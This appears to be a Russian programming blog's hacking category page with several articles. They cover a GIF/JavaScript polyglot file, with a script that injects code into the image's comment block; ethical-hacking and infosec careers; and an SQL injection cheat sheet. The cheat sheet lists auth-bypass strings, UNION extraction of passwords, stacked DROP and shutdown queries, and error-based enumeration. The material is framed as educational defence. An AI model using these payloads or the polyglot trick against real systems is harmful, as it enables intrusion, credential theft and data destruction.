Category: Хакинг

18
Окт
2020

🧨 Bug Bounty: как заработать на взломе

Белый хакер на фрилансе может заработать $200 за 5 минут, но не спешите сразу ломать все подряд. Мы расскажем, как делать это легально с программами Bug Bounty.

Этичный хакинг – од…

13
Окт
2020

Ресурсы для старта обучения в кибербезопасности также будут полезны тем, кому для основной работы нужны базовые знания в этой области.

В сфере кибербезопасности есть множество напр…

29
Сен
2020

Можно ли создать графический файл с исполняемым сценарием JavaScript внутри? Рассказываем как.

Перевод публикуется с сокращениями, автор оригинала: Sebastian Stamm.

***

Картинка, которая одновременно является кодом на JavaScript

Изображения хранятся в бинарных файлах, а сценарий JavaScript является обычным текстом. Оба типа файлов должны следовать собственным правилам: изображения соответствуют конкретному формату, а сценарии JavaScript должны следовать определенному синтаксису. Можно ли создать файл изображения, одновременно соотвествующий синтаксису JavaScript?

        <!DOCTYPE html>
<html lang="en">
  <head>
    <style>
      body {
        margin: 0;
        overflow: hidden;
        height: 100vh;
      }

      img {
        width: 100%;
      }
    </style>
    <title>This Image Is Also a Valid Javascript File</title>
  </head>
  <body>
    <!--
      Изображение ниже, является валидным файлом Javascript!

      Пожалуйста, замените тег изображения тегом сценария, чтобы увидеть его в действии.
    -->
    <img src="https://executable-gif.glitch.me/image.gif" />

    <!-- https://executable-gif.glitch.me/image.gif -->
  </body>
</html>

    

Выбираем тип изображения

Изображения
содержат массу двоичных данных, которые выдадут ошибку, если их
интерпретировать как JavaScript. Попробуем поместить их в один большой комментарий:

        /*ALL OF THE BINARY IMAGE DATA*/
    

Это будет корректный файл JavaScript. Однако файлы изображений начинаются со специфичного для формата заголовка. Например, файлы PNG начинаются с последовательности байтов 89 50 4E 47 0D 0A 1A 0A. Если изображение начиналось с /*, оно перестанет быть корректным.

Заголовок файла
приводит к следующей мысли: что, если эту последовательность байтов использовать
в качестве имени переменной и присвоить ей значение длинной строки:

        PNG=`ALL OF THE BINARY IMAGE DATA`;
    

Здесь используются шаблонные строки вместо обычных « » или « », потому что двоичные данные могут
содержать разрывы строк.

Большинство заголовков содержат недопустимые в именах переменных символы, но есть один формат, который можно использовать:
GIF.
Блок заголовка GIF имеет вид 47 49 46 38 39 61 и удобно преобразуется в ASCII-строку GIF89a.

Выбираем размер изображения

Теперь, когда мы нашли начинающийся с допустимого имени переменной формат изображения, нужно добавить символы « = » и « ` ». Таким образом, следующие четыре байта файла
будут 3D 09 60 04:

В формате GIF следующие за заголовком четыре
байта определяют размеры изображения. Мы должны
поместить туда 3D (знак равенства) и 60 (обратный апостроф). Чтобы изображения
были как можно меньше, 3D и 60 следует хранить в наименее значимых байтах.

Второй байт ширины
изображения должен быть символом пробела, потому что это будет пробел
между знаком равенства и началом строки «GIF89a= `…» . Помните, что
шестнадцатеричный код символов должен быть как можно меньше, иначе изображение получится
огромным.

Наименьший пробельный символ – 09 (символ горизонтальной табуляции). Это дает нам ширину изображения 3D09 или 2365.

Для второго байта
высоты мы можем выбрать символ, создающий хорошее соотношение сторон. Например 04 дает нам высоту 60 04 или 1120.

Создаем скрипт

Сейчас наш исполняемый
GIF ничего не делает. Он просто присваивает большую строку глобальной
переменной GIF89a. Большая часть данных внутри GIF предназначена для
кодирования изображения, поэтому, если попытаться добавить туда код JavaScript
, то, вероятно, получим поврежденное изображение. Однако формат содержит область, называемую расширением комментария и
предназначенную для хранения некоторых метаданных, которые не будут
интерпретироваться декодером GIF.

Эта область идет сразу
после таблицы цветов GIF. Поскольку мы в силах поместить туда любой контент,
можно закрыть строку GIF89a, добавить весь наш сценарий, а затем использовать
многострочный блок комментариев, чтобы остальная часть изображения не мешала
синтаксическому
анализатору.

Скрипт может выглядеть
следующим образом:

        GIF89a= ` BINARY COLOR TABLE DATA ... COMMENT BLOCK:

`;alert("Javascript!");/*

REST OF THE IMAGE */
    

Существует небольшое
ограничение: хотя сам блок комментариев может быть любого размера, он состоит
из нескольких подблоков, каждый из которых имеет максимальный длину в 255 байт. Между
подблоками находится один байт, хранящий длину следующего подблока, поэтому сценарий должен быть разделен на более мелкие части:

        alert('Javascript');/*0x4A*/console.log('another subblock');/*0x1F*/...
    

Шестнадцатеричные коды
в комментариях – это байты, указывающие на размер следующего подблока. Они не
имеют отношения к Javascript, но необходимы для формата GIF-файла и должны быть заключены в комментарии, чтобы предотвратить влияние на остальную часть кода. Ниже приведен небольшой скрипт, обрабатывающий фрагменты и добавляющий их на
картинку:

        const fs = require("fs");

const scriptChunks = [
  `\`;document.body.innerHTML='<div style="text-align: center;"><h1 style="margin-top: 45vh; transform: translate(0,-50%); font-family: monospace;">Click Button to play Snake! (Control with WASD)</h1></div>';`,
  `document.querySelector('div').innerHTML += '<button id="play" style="font-size: 32px;">Start Game</button>';`,
  `document.querySelector("#play").addEventListener("click",()=>{const e=document.querySelector("h1");document.querySelector("#play").style.display="none",e.textContent="3",e.style.fontSize="3em";const t=document.createElement("style");`,
  `t.innerHTML=\`@-moz-keyframes spin { 100% { -moz-transform: rotate(360deg); } }\n  @-webkit-keyframes spin { 100% { -webkit-transform: rotate(360deg); } }\n  @keyframes spin { 100% { -webkit-transform: rotate(360deg); transform:rotate(360deg);}}\`;`,
  `document.head.appendChild(t),document.body.style.overflow="hidden",setTimeout(()=>{e.textContent="2",e.style.fontSize="4em"},1e3),setTimeout(()=>{e.textContent="1",e.style.fontSize="5em"},2e3);setTimeout(()=>{`,
  `document.body.innerHTML=\`[youtube https://www.youtube.com/watch?v=dQw4w9WgXcQ?controls=0&autoplay=1&w=100&h=100]\`;`,
  `document.body.innerHTML+='<div id="lol-as-if-i-would-let-you-turn-it-off-blocker-div" style="position: absolute; top: 0; bottom:0; left: 0; right: 0;"></div>';},3e3);`,
  `setTimeout(()=>{const e=document.createElement("div");e.textContent="I was too lazy to write a snake game.";`,
  `e.setAttribute("style","position: absolute;top: 45%;color: white;text-align: center;width: 100%;font-size: 3vw;text-shadow: 2px 2px 2px black; animation:spin 6s linear infinite;"),document.body.appendChild(e)},4500)});`,
  `alert("Script works! Press the Button to play a game of Snake!");`,
];

const chunks = scriptChunks.map((chunk, i) => {
  if (i > 0) {
    chunk = "*/" + chunk;
  }
  chunk += "/*";
  return chunk;
});

const scriptContent = [];
for (let i = 0; i < chunks.length; i++) {
  const chunk = chunks[i];
  scriptContent.push(chunk.length);
  for (let j = 0; j < chunk.length; j++) {
    scriptContent.push(chunk.charCodeAt(j));
  }
}

fs.writeFileSync("out.js", Buffer.from(scriptContent));

fs.readFile("image.gif", function (err, buffer) {
  const data = [...buffer];

  for (let i = 0; i < data.length; i++) {
    if (data[i] === 33 && data[i + 1] === 254) {
      // found comment section
      const currentCommentLength = data[i + 2];

      data.splice.apply(data, [
        i + 2,
        currentCommentLength + 1, // remove current comment
        ...scriptContent, // add script as new comment
      ]);

      fs.writeFileSync("out.gif", Buffer.from(data));
      break;
    }
  }
});
    

Очищаем двоичные данные

Когда у нас
есть базовая структура, следует убедиться, что двоичные данные картинки не
разрушают синтаксис сценария. Файл состоит из трех
разделов: первый – присвоение переменной GIF89a, второй –
код JavaScript и третий – многострочный комментарий.

Посмотрим на первую
часть:

        GIF89a= ` BINARY DATA `;
    

Если двоичные данные
будут содержать символ ` или комбинацию символов ${, у нас возникнут проблемы: либо завершится строка шаблона, либо мы получим недопустимое выражение. Исправить
это можно, заменив двоичные данные: например, вместо символа « ` »
(шестнадцатеричный код 60) мы могли бы использовать символ « a »
(шестнадцатеричный код 61). Поскольку эта часть файла содержит таблицу цветов,
это приведет к тому, что некоторые цвета будут немного другими (незаметно),
например: #286148 вместо #286048.

Боремся с искажениями

В конце кода мы открыли
многострочный комментарий. Нужно убедиться, что бинарные данные картинки не
мешают синтаксическому анализу:

        alert("Script done");/*BINARY IMAGE DATA ...
    

Если данные изображения
будут содержать последовательность символов « */ », комментарий завершится
преждевременно, что приведет к некорректности файла. Здесь придется изменить
один из двух символов, как описывалось ранее. Однако, поскольку мы сейчас
находимся в разделе закодированных изображений, это приведет к его повреждению,
например:

В некоторых случаях картинка вообще не могла отрисоваться. Экспериментируя с поворотами битов, я смог свести к минимуму «поломку» изображения. К счастью было только
несколько случаев появления вредной комбинации « */ » и в конечном изображении
все еще есть немного повреждений, видимых, например, в нижней части строки «Valid
Javascript File», но в целом я вполне доволен результатом.

Завершаем файл

Последняя манипуляция –
файл должен заканчиваться байтами «00 3B», поэтому комментарий нужно завершить
раньше. Поскольку это конец файла, любое потенциальное повреждение будет не сильно
заметно, просто добавим однострочный комментарий, чтобы не вызвать никаких
проблем при синтаксическом анализе:

        /* BINARY DATA*/// 00 3B
    

Заставляем браузер выполнить сценарий

У нас наконец-то есть графический файл, который является сценарием JavaScript-файлом. Возникает еще
одна проблема: если загрузить изображение на сервер и попытаться использовать
его в теге <script>, скорее всего мы увидим такую ошибку:

Refused to execute script from ‘http://localhost:8080/image.gif‘ because its MIME type (‘image/gif’) is not executable.

Браузер по праву отвечает:
«Это изображение! Я не буду его исполнять!». В большинстве случаев это вполне уместно, но мы хотим выполнить сценарий – просто не
будем говорить браузеру, что это изображение.
Для этого я написал небольшой сервер, передающий изображение без информации заголовка.

Браузер в этом случае делает то,
что лучше всего соответствует контексту: отображает его картинку в теге
<img> или выполняет его JavaScript в теге <script>.

Зачем это все?

Этого я пока не понял. Решение подобной задачи — отличная разминка для ума, но если придумаете ситуацию, в которой предложенный метод может быть полезен, непременно сообщите!

***

По соображениям
безопасности мы не стали публиковать код сервера
. С вами была Библиотека программиста. Удачи в хакинге картинок!

15
Сен
2020

⛑️ Этичный взлом: учимся белому хакингу

Хакинг – то, о чем мы часто слышим, но не очень понимаем, что это такое. Из этой статьи вы узнаете, как стать этичным хакером и легально зарабатывать деньги прямо у себя дома.

Когда речь заходит о хакерах, первым делом на ум приходят герои американских фильмов, взламывающие базы ЦРУ. Но хакеры могут действовать и в интересах компаний, помогая найти и обезвредить уязвимости. В этой статье поговорим о разнице между этичным и неэтичным взломом и о карьере этичного хакера. Материал подготовлен при поддержке факультета информационной безопасности онлайн-университета GeekBrains.

Хакинг может быть этичным?

Хакинг – это выявление уязвимостей системы для получения доступа к её слабым местам. Хотя сейчас слово «хакер» ассоциируется с киберпреступниками, идея этичного хакинга появилась намного раньше. В 1960-х годах студенты Массачусетского Технологического Института термином hacking обозначали поиск способов оптимизации систем и машин для их эффективной работы. Но в 1980-х и 1990-х годах хакерами стали называть и преступников в сфере информационной безопасности.

С ростом популярности персональных компьютеров многие важные данные стали храниться на цифровых носителях. Преступники увидели возможность кражи информации, которую можно было бы продать или использовать для мошенничества. Эти цифровые злоумышленники использовали свои навыки для получения доступа к частным компьютерам, кражи данных и даже шантажа. Такого рода хакеров сегодня называют Black Hat Hackers («черные шляпы», «черные хакеры»).

В результате поиска компаниями адекватной защиты получил распространение этичный взлом – тестирование безопасности компьютерных систем. В отличие от черных шляп этичный хакер (White Hat Hacker) действует по предварительной договоренности и документирует процесс взлома.

Ответственность за нелегальный хакинг

Однако, если компания официально не объявила об охоте на уязвимости, благородный поиск уязвимостей может обернуться неожиданными последствиями. Так, в 2017 г. 18-летний парень из Венгрии обнаружил, что на сайте транспортной компании при некоторых манипуляциях можно оформить билет по любой желаемой цене. Он сразу сообщил об ошибке в транспортную компанию, а через четыре часа – на главный новостной ресурс Венгрии. На следующий день он был задержан полицией за кибератаку.

Юридическая справка
Уголовный кодекс Российской Федерации категорически запрещает попытки взлома чужой инфраструктуры. По статьям 272, 273, 274 можно получить штраф или даже срок за нераспознанный доступ, хранение и распространение информации. О законах других стран относительно взлома можно узнать на странице-карте межправительственной организации ЮНКТАД.

Ресурсы для самостоятельного изучения методов хакинга

В прошлой статье по теме мы разобрали навыки, которые нужно освоить, чтобы попасть на технические должности в информационной безопасности (ИБ), и какие бесплатные ресурсы в этом помогут. Если вы хотите стать этичным хакером, обратите внимание на GitHub-репозиторий Awesome Ethical Hacking Resources, в котором ресурсы разбиты по категориям: книги, онлайн- и офлайн-платформы, курсы, сайты, youtube-каналы и т. д.

Познакомьтесь с автоматизированными инструментами OSINT – они помогут в исследовании вопросов безопасности. Чтобы начать работать багхантером, достаточно изучить несколько базовых инструментов:

  • Wireshark позволят анализировать сетевой трафик и устранять неполадки в сети;
  • Acunetix Web Vulnerability Scanner автоматизирует тестирование веб-приложений на наличие уязвимостей;
  • Sqlmap создан для обнаружения недостатков внедрения SQL-кода.

Где прокачать навыки белого хакинга

Capture the Flag (CTF). Участники CTF-соревнований ищут «флаг», который служит доказательством взлома системы. Соревнования по захвату флага – отличный способ научиться взламывать киберсистемы. Обычно на CTF отводится ограниченное время и в захвате флага участвуют только зарегистрированные команды. Но существует и большое количество CTF в стиле «всегда онлайн», где можно оттачивать мастерство кибервзлома в одиночку и без ограничений по времени.

CTF для веб-эксплуатации. Pentesterlab – отличный ресурс, чтобы начать изучать веб-тестирование на проникновение. На Hacker101 CTF представлен список задач, направленных на развитие навыков веб-взлома. Решая их, можно познакомиться с большинством уязвимостей программ bug bounty – вознаграждений за найденные ошибки.

Реверс-инжиниринг. Потренироваться в обратном инжиниринге (англ. reverse engineering) можно на сайте Crackme, хранящем множество программ, которые можно попытаться взломать.

Смешанные CTF. OverTheWire – сайт для новичков в IT, на котором обучение начинается с основ командной строки и базовых навыков программирования. Далее предлагается широкий спектр задач на выбор: веб-безопасность, двоичные файлы, реверс-инжиниринг.

Живые CTF. Если вы хотите поучаствовать в живом CTF или CTF в стиле «Атака и защита», посетите CTFtime.org и посмотрите список текущих и предстоящих событий.

Платформы Bug Bounty. Bug Bounty – это вознаграждение, выплачиваемое разработчикам, обнаружившим критические недостатки в программном обеспечении. Наградой служат деньги, оборудование компании или просто место в «Зале славы».

Поиск уязвимостей может проводиться на базе компании или на специализированной платформе. Одна из самых известных – Hackerone.

Востребованность белых хакеров

Тысячи организаций (в том числе General Motors, GitHub, Lufthansa, Nintendo, Spotify и Starbucks) сотрудничают с мировым сообществом белых хакеров. На платформе HackerOne за последний год была организованы тысяча клиентских программ, победителями получены награды на сумму 23 млн долл. Девять хакеров заработали суммарно более 1 млн долл. Средняя суммарная выплата сертифицированному этичному хакеру составляет 82 тыс. долл. в год. Отдельные багхантеры на платформах Bug Bounty зарабатывают до 50 тыс. долл. в месяц.

Карьера этичного хакера

Как и специалисты по кибербезопасности, хакеры в белых шляпах могут сосредоточиться на одном или сразу нескольких направлениях взлома:

В предыдущей статье мы обсуждали задачи ИБ, одной из которых был тест на проникновение или пентест. Большинство этичных хакеров также тестируют системы на проникновение, но ищут и другие возможные слабые места: сканируют открытые и закрытые порты с помощью инструментов Nessus и NMAP; используют методы социальной инженерии; обходят системы обнаружения и предотвращения вторжений; прослушивают сети, взламывают беспроводные каналы шифрования; захватывают веб-серверы и веб-приложения.

Заключение

Этичный взлом – прибыльное направление для тех, кто хочет развиваться в области ИБ. Можно неплохо зарабатывать, даже не имея формального образования и постоянного места работы. Но для успешной карьеры этичного хакера нужны продвинутые навыки программирования и глубокие знания в ИБ. Овладеть ими самостоятельно непросто – лучше записаться на практический курс по информационной безопасности.

На факультете информационной безопасности онлайн-университета GeekBrains вы приобретете необходимые навыки программирования, изучите основы кибербезопасности, получите практику выполнения реальных проектов, которые составят ваше портфолио. Служба карьерного роста поможет подать заявку и найти работу по специальности – образовательный портал гарантирует трудоустройство. Если вы горите желанием стать этичным хакером, пора учиться!

21
Авг
2020

Объясняем простым языком, что собой представляют прокси-серверы, какие они бывают и в чем разница между прокси и VPN.

Что такое прокси-сервер

17
Авг
2020

Информационная безопасность (ИБ) является одной из самых востребованных сфер IT. Из этой статьи вы узнаете о профессиях ИБ и о том, как перейти в ИБ с любым бэкграундом.

Что такое информационная безопасность?

Информационная безопасность (ИБ, англ. Information Security, сокр. InfoSec) – набор методов для защиты данных от несанкционированного доступа или изменений как при хранении, так и при передаче с одного компьютера на другой.

На практике внимание специалистов ИБ акцентируется на одном из компонентов безопасности данных: конфиденциальность, целостность и доступность. Так, при хранении медицинской информации мы сосредотачиваемся на конфиденциальности. Для финансовых транзакций важнее всего целостность – ни один перевод денег не должен неправильно зачисляться или списываться. Чтобы гарантировать доступность информации в пресс-релизах, правительства обеспечивают минимальное время простоя своих веб-сайтов и систем.

Обзор специальностей в сфере информационной безопасности

Развитие технологий порождает проблемы безопасности. По оценкам Cybersecurity Ventures, к 2021 г. в отрасли ИБ будет открыто 3.5 млн вакансий, а глобальные расходы на цифровую безопасность превысят 1 трлн долл. По данным MIT Technology Review, из кандидатов, претендующих на соответствующие должности, менее четверти имеют нужную квалификацию.

Обязанности специалиста по ИБ могут различаться, но роль можно свести к простой формуле: защищать данные компании от взлома. Рассмотрим списки популярных специальностей в сфере ИБ.

Технические специальности ИБ

  • Специалист по проникновению (пентестер) отвечает за проверку приложений, систем и сетей на наличие уязвимостей.
  • Специалист по инфраструктурной безопасности отвечает за анализ требований к безопасности систем организации, а также за установку и настройку решений безопасности в корпоративных сетях.
  • Инженер по безопасности приложений обеспечивает безопасность на всех этапах жизненного цикла разработки программного обеспечения, включая этапы проектирования, кодирования и разработки, тестирования и развертывания.
  • Инженер по облачной безопасности занимается вопросами безопасности цифровых облачных платформ.
  • Реверс-инженер анализирует вредоносные программы, чтобы понять, как они работают, как их можно идентифицировать и устранить.
  • Направление комплаенс (англ. compliance, досл. пер. согласие, соответствие) обеспечивает безопасность работы внутренних компьютерных систем, серверов и сетевых подключений.
  • DevSecOps занимается интеграцией тестирования безопасности в конвейеры непрерывной интеграции и непрерывной доставки.
  • CISO (Chief Information Security Officer) – руководитель, ответственный за безопасность информации и данных организации.
  • Аудитор ИБ проводит проверку компьютерных систем, которые могут подвергаться атаке.
  • Специалист по форензике (компьютерной криминалистике) собирает улики с компьютеров, сетей и других устройств хранения данных для расследования случаев цифровых преступлений.
  • Технический пресейл по ИБ объединяет технические знания и навыки продаж, чтобы предоставлять консультации текущим и потенциальным клиентам.
  • Технический писатель по ИБ сотрудничает с аналитиками реагирования на инциденты, с инженерами и специалистами по анализу угроз для документирования технической информации.

Менеджерские специальности ИБ

  • Администратор средств защиты информации помогает организации внедрять лучшие решения в соответствии с их потребностями в безопасности.
  • Менеджеры по безопасности управляют политикой ИБ организации.
  • Директор по информационной безопасности (англ. chief information security officer) – менеджер исполнительного уровня, который направляет стратегию, деятельность и бюджет для защиты информационных активов предприятия.

Навыки для работы

Диплом высшего образования по информационной безопасности требуется лишь в государственных учреждениях. В других случаях достаточно прохождения программ сертификации, специальных курсов и самостоятельного освоения компетенций.

Технический бэкграунд специалиста по информационной безопасности

Для начала надо освоить основы Computer Science.

Программирование, языки разметки, кодирование

  • В зависимости от специфики направления: будет полезно, как знание низкоуровневых языков C++ и Java, так и скриптовых Python, PHP, JavaScript для обеспечения безопасности веб-приложений.
  • Ассемблер и дизассемблеры.
  • Навыки регулярных выражений (regex).
  • Linux / MAC bash-скрипты.

Операционные системы и управление базами данных

  • Операционные системы Windows, UNIX и Linux.
  • Управлением базами данных SQL- и NoSQL-типа.

Cети

  • Конфигурация системы и сети.
  • TCP/IP, компьютерные сети, маршрутизация и коммутация.
  • Сетевые протоколы и инструменты анализа пакетов.
  • Брандмауэр, протоколы обнаружения и предотвращения вторжений.
  • Знание PacketShaper, балансировщика нагрузки и прокси.
  • Виртуальные частные сети.

Нетехнический бэкграунд

Люди с опытом в управлении проектами, техническом письме, праве или функциях физической безопасности, могут получить квалификацию для работы в области кибербезопасности, отточив некоторые навыки и получив необходимые сертификаты. Однако первоначально нужно получить фундаментальные знания в области ИТ.

  • CompTIA IT Fundamentals certification представляет собой введение в базовые знания и навыки в области ИТ, которые помогают профессионалам решить, подходит ли им карьера в сфере ИТ. Это также первая сертификация, которую вам нужно пройти для вашей карьеры в области безопасности, если вы не имеете технического образования. Сертификат Security + откроет двери в индустрию информационной безопасности.
<a href="https://cyberexperts.com/how-to-transition-to-a-cyber-security-career-at-any-age/" target="_blank" rel="noopener noreferrer nofollow">Порядок получения сертификатов для работы в ИБ.</a>
Порядок получения сертификатов для работы в ИБ.

Подборка ресурсов для самостоятельного изучения

Книги

  • Security in Computing (англ.) – обзор компьютерной безопасности с акцентом на сетях, операционных системах и программных устройствах.
  • Crafting the InfoSec Playbook (англ.) – как разрабатывать собственные средства обнаружения инцидентов и аналитики угроз.
  • Gray Hat Hacking (англ.) – тактики реверс-инжиниринга, этичные способы взлома серверов и браузеров, деловая сторона этичного взлома.
  • Информационная безопасность. Защита и нападение подробное объяснение проведения аудитов безопасности и тестов на проникновение для различных систем, а также современных решений для маршрутизации, беспроводной связи и других направлений развития ИБ.

Сертификаты

Для тех, у кого нет опыта или знаний в области ИТ, получение серии сертификатов от CompTIA подготовит к первой работе в ИБ. А для тех, кто уже в сфере IT, сертификация – верный способ перейти в сферу кибербезопасности,продвинуться по карьерной лестнице или даже перейти в международную компанию в области ИБ.

  • Этичный хакер (CEH) показывает, что вы понимаете и знаете, как искать слабые места и уязвимости в целевых системах, и используете те же знания и инструменты, что и злонамеренный хакер, но законным образом для оценки состояния безопасности целевой системы. Эта сертификация наиболее выгодна для тех, кто уже работает в сфере программирования и хочет получить работу в сфере безопасности..
  • Сертифицированный менеджер по информационной безопасности (CISM) позволяет управлять и разрабатывать системы информационной безопасности в приложениях корпоративного уровня или передовых методах обеспечения безопасности.
  • Сертифицированный специалист по информационной безопасности (CISSP) показывает, что вы обладаете знаниями и техническими навыками, необходимыми для разработки, руководства и управления стандартами, политиками и процедурами безопасности.

Поиск по HeadHunter показывает, что на рынке есть около 90 открытых вакансий, которые требуют или предпочитают кандидатов, имеющих сертификат CISSP. Заработная плата в среднем составляет 190 000 руб.

Oнлайн-платформы

  • Cybrary (англ.) – бесплатный видеокурс по всем наиболее распространенным сертификатам кибербезопасности.
  • Open Web Application Security Project (OWASP) (англ.) – бесплатный курс о безопасности веб-приложений.
  • OpenSecurityTraining.info (англ.) – материалы для самоподготовки по модулям CISSP.

Блоги

Карьерные перспективы

Аналитические прогнозы показывают, что с 2018 по 2028 гг. спрос на работников информационной безопасности вырастет на 32% (для доступа к отчету может потребоваться VPN). Особенно высоким будет спрос на аналитиков по информационной безопасности, поскольку такие аналитики будут необходимы для создания инновационных решений, предотвращающих кражу информации и другие проблемы компьютерных сетей.

По данным SecurityLab.ru, средние зарплаты (в тыс. руб. в Москве, в других регионах на 20-30% ниже) в ИБ следующие:

  • Программист с опытом 2-3 года (в зависимости от конкретного проекта и языка программирования): системный инженер, веб-разработчик, и сетевой инженер – 120-150;
  • Архитектор по безопасности / инженер по безопасности – 150-250;
  • Аудитор ИБ – 230-270;
  • Менеджеры по безопасности – 200-250;
  • CISO (Chief Information Security Officer) – 300-500;

Заключение

Информационная безопасность – одна из самых востребованных отраслей ИТ, в будущем она будет становиться еще более популярной. Изучив основы ИТ и безопасности, вы сможете получить первую работу в ИБ менее чем за год.

Область развивается и пока доступно не так уж много хороших курсов, которые охватили бы все необходимые темы, особенно на русском языке. Но если вы настроены стать профессионалом в области информационной безопасности, обратите внимание на курс по Информационной Безопасности от GeekBrains. Он подходит для людей, которые уже работают в ИТ и хотят получить навыки обеспечения безопасности, а также для тех, у кого вообще нет технических знаний.

Охвачены такие темы, как безопасность веб-приложений, сетевая безопасность, реверс-инжиниринг, анализ вредоносных программ, криптография, и практические знания Python. Все затронутые темы сопровождаются практическими заданиями. В конце курса помогут подготовиться к собеседованию и найти работу.

14
Апр
2020

Когда антивирус бессилен: распознавание вредоносных программ методами компьютерного зрения

Небольшая заметка про отображение бинарных файлов в виде картинок и применение средств computer vision для обнаружения троянов и вирусов.

Любой софт,
предназначенный специально д…

26
Фев
2020

Qwerty уже не тот. Аналитика взлома паролей 270 млн пользователей

Компания SpyCloud выпустила в свет результаты анализа учётных данных, похищенных хакерами в прошлом году. Целевые атаки киберпреступников стали ещё изощрённее.

Взломы аккаунтов п…

26
Фев
2020

Qwerty уже не тот. Как хакеры взломали аккаунты 270 млн пользователей

Компания SpyCloud выпустила в свет результаты анализа учётных данных, похищенных хакерами в прошлом году. Целевые атаки киберпреступников стали ещё изощрённее.

Взломы аккаунтов п…

21
Дек
2019

Взламываем сайты: шпаргалка по SQL инъекциям

Даже в 2019 SQL инъекции остаются актуальной угрозой. Любому разработчику необходимо знать врага в лицо. Наша статья будет отличным подспорьем для этого.

Типы SQLi

Существует 5 основных типов SQL инъекций:

  1. Классическая (In-Band или Union-based). Самая опасная и редко встречающаяся сегодня атака. Позволяет сразу получать любые данные из базы.
  2. Error-based. Позволяет получать информацию о базе, таблицах и данных на основе выводимого текста ошибки СУБД.
  3. Boolean-based. Вместо получения всех данных, атакующий может поштучно их перебирать, ориентируясь на простой ответ типа true/false.
  4. Time-based. Похожа на предыдущую атаку принципом перебора, манипулируя временем отклика базы.
  5. Out-of-Band. Очень редкие и специфические типы атак, основанные на индивидуальных особенностях баз данных.

Далее мы разберем их детальней.

Уязвимые точки

Уязвимые точки для атаки находятся в местах, где формируется запрос к базе: форма аутентификации, поисковая строка, каталог, REST-запросы и непосредственно URL.

Защита от SQLi

Для каждого сервера и фреймворка есть свои тонкости и лучшие практики, но суть всегда одинакова.

Нельзя вставлять данные в запрос напрямую. Всегда обрабатывайте ввод отдельно и формируйте запрос исключительно из безопасных значений.

Создавайте белые списки: их значительно труднее обойти, чем черные. Все названия таблиц, полей и баз должны быть заданы конкретными значениями в вашей программе. Это касается и операторов.

Естественно, не забывайте про ограничение прав доступа к базе.

Тем не менее, кибербезопасность – это тот случай, когда понимание принципов нападения – лучший способ защиты.

Классические атаки

Самый простой пример критически уязвимого для SQLi кода выглядит следующим образом:


            userName = getRequestString("UserName");
request = "SELECT * FROM Users WHERE UserName = " + userName; 
        

Представляя такой антипример, можно понять принцип действия атак, которые мы рассмотрим ниже.

Комментирование

Использование однострочных комментариев позволяет игнорировать часть запроса, идущую после вашей инъекции. Например, ввод в уязвимое поле Username запроса admin’– позволит зайти на ресурс под администратором, потому что поверка пароля будет закомментирована. Конечно, сейчас такой тип уязвимости встречается очень редко, но помнить о ней стоит.

            SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
        

Многострочные комментарии могут справится с проверкой или определить тип базы данных. Например, подобные запросы обойдут примитивный текстовый анализ:

            DROP/*some comment*/sampletable
DR/**/OP/*random comment to cheat*/sampletable
 
        

А некоторые особые комментарии позволят определить тип базы данных в целях дальнейшей эксплуатации уязвимостей:

            /*!Если поместить код в такой комментарий - он будет исполнен только в MYSQL.
Можно даже ограничить минимальную версию*/

такой запрос вернёт ошибку деления на ноль, если MYSQL сервер выше указанной версии
SELECT /*!!50100 1/0, */ 1 FROM tablename 

 
        

Манипуляции со строками

Существует ряд более продвинутых способов обходить черные списки. Например, против фильтра кавычек можно использовать конкатенацию строк:

            #SQL Server
SELECT login + '-' + password FROM members
#MySQL
SELECT CONCAT(login, password) FROM members 
        

В MySQL для обхода сложных паттернов можно представлять строки в шеснадцатиричном виде, с помощью функции HEX() или вводить их посимвольно:

            //0x633A5C626F6F742E696E69 == c:\boot.ini
SELECT CONCAT('0x','633A5C626F6F742E696E69'))

SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) 
        

Обход аутентификации

Есть стандартный словарь, содержащий в себе основные запросы, для обхода уязвимой формы аутентификации. Впервые его опубликовали лет 10 назад и регулярно дополняют. Не забудьте прогнать через него формы регистрации на своем сайте:

            ' or 1=1
' or 1=1--
' or 1=1#
' or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 
        

Union injection

UNION это SQL-команда, позволяющая вертикально комбинировать данные из разных таблиц в одну. Это одна из самых популярных и опасных классических инъекций.

Допустим, на сайте есть список товаров с уязвимой строкой поиска. Тогда, подобрав правильное количество колонок и определив их название, через UNION можно вывести практически любые данные.

            SELECT name, price FROM products UNION ALL SELECT name, pass FROM members 

#Такой запрос позволит получить данные о таблицах и найти таблицу пользователей
UNION(SELECT TABLE_NAME, TABLE_SCHEMA FROM information_schema.tables) 
        

Последовательные запросы

Если целевой сервис работает на SQL Server и ASP/PHP, либо на PostgreSQL и PHP, можно использовать простой знак ‘;’ для последовательного вызова вредоносных запросов:

            #Удаление таблицы
SELECT * FROM products WHERE productName = ""; DROP users--
#Выключение SQL Server
SELECT * FROM products WHERE productName = ""; shutdown –
 
        

Возможный урон

Конкретных примеров и нюансов довольно много, не будем перечислять все. Главное, помните, что комбинируя эти приёмы и различные специфические функции, атакующий может получить полный доступ к базе и даже командной строке.

Error-Based

Чтобы побороть этот тип атак, достаточно запретить вывод ошибок на проде. Тем не менее, давайте на примере разберем, чем вам может грозить игнорирование этой меры.

Последовательное выполнение следующих запросов к SQL Server, позволит определить в тексте ошибки названия столбцов:

            ' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
